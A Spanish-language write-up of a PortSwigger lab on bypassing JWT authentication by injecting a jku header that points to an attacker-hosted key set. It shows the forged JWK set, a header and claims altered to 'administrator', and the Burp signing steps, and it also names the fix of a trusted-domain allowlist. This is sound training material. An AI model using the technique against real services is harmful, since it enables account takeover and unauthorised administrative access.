JWT authentication bypass via jku header injection
This lab uses a JWT-based mechanism for handling sessions. The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.
To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
https://siunam321.github.io/ctf/portswigger-labs/JWT/jwt-5/ JKU (JWT SET URL) : Es un parametro del header opcional en el Json Web Token que apunta a una URL donde el servidor puede hacer un fetch u obtencion de public keys o llaves publicas necesarias para verificar la firma o signature del token.
La vulnerabilidad como es descrita esta en que el servidor backend falla en revisar donde la url proporcionada pertence al dominio confiable antes des de recuperar la key. El backend server vulnerable:
- permite el parametro jku en el apartado Headers de JWT
- Fallar en validar si la URL dada pertenece a un dominio confiable, por lo que recupera sin validar las claves de una url dada
Creamos un Key Set o conjunto de clave utilizando la web del ejercicio, el array "keys" envuelve el public key creado por nosotros. El ejercicio me proporciona una URL con una web para "Craftear una response". Modifique el apartado de body por mi llave publica RSA creada con la extension JWT Editor en Burpsuite y la envolvi con "keys"
### Craft a response
URL: https://exploit-0ac6001003c5d339801cd92a013d00cf.exploit-server.net/exploit.json
HTTPS : Activado
File: /exploit.json
Head: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8
Body:
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759", "n": "sX9f67sh53Xowq1WcSKBLiyE0UTrz6pyRL1O61PO7AaFXYew_QKRbhEOZ8D0LjSS5L9ET3axEFe5k1VJZDG3ynVBp4imhEXAUi8KrLI3R2_xzouj4j8_vyUu13Mjz7OV_bvFD79E7zINLB-2iRZIMql18Z5-L01PoVXk-fdYL3GYdWCOROdheZJhVJo8G_m6vL_bfCMtXch1q-COHE0hkeNRveAgQl7gJh9kmiD4bRJrSUpc4hqjFbxmkL3aw0dDCvHSRE38iDmGQO-PZzsSUofPxSLIkORjUbMXPvorFCWQXM94Nl7j_JFz62dV6QKxJMDNlm6jNNDegRRID8oLlw" } ] }
este es el JWT decodificado y manipulado con el campo jku agregado apuntando a la url que se genero despues de que haya presionado "Store" en la web anterior, Asimismo modifique el claim "sub" por el valor "administrator"
- el campo jku apunta al "exploit server" que contiene el .json con el key set; el endpoint jku obligatoriamente retorna keys en formato jwk set, el cual es un objeto json conteniendo un array "keys" de JWKs (RFC 7517)
{
"kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759",
"alg": "RS256",
"jku": "https://exploit-0ac6001003c5d339801cd92a013d00cf.exploit-server.net/exploit.json"
}
{
"iss": "portswigger",
"exp": 1757258769,
"sub": "administrator"
}
Luego utilice la extension JSON WEB TOKEN de burpsuite para utilizar la funcion "Sign" al presionar en el boton elegi el Signing Key que vendria a ser la clave publica que he creado con JWT Editor de Burpsuite y luego le di en Ok. Al realizar la solicitud con el Json Web Token modificado y firmado pude resolver el ejercicio entrando como usuario administrador.
Lo que hemos aprendido, repasado:
- JKU
- allowlist de dominios JKU confiables
- en un escenario real utilizaria un servidor propio, pero el ejercicio no permite conexiones externas, por ello me da una web para simular como seria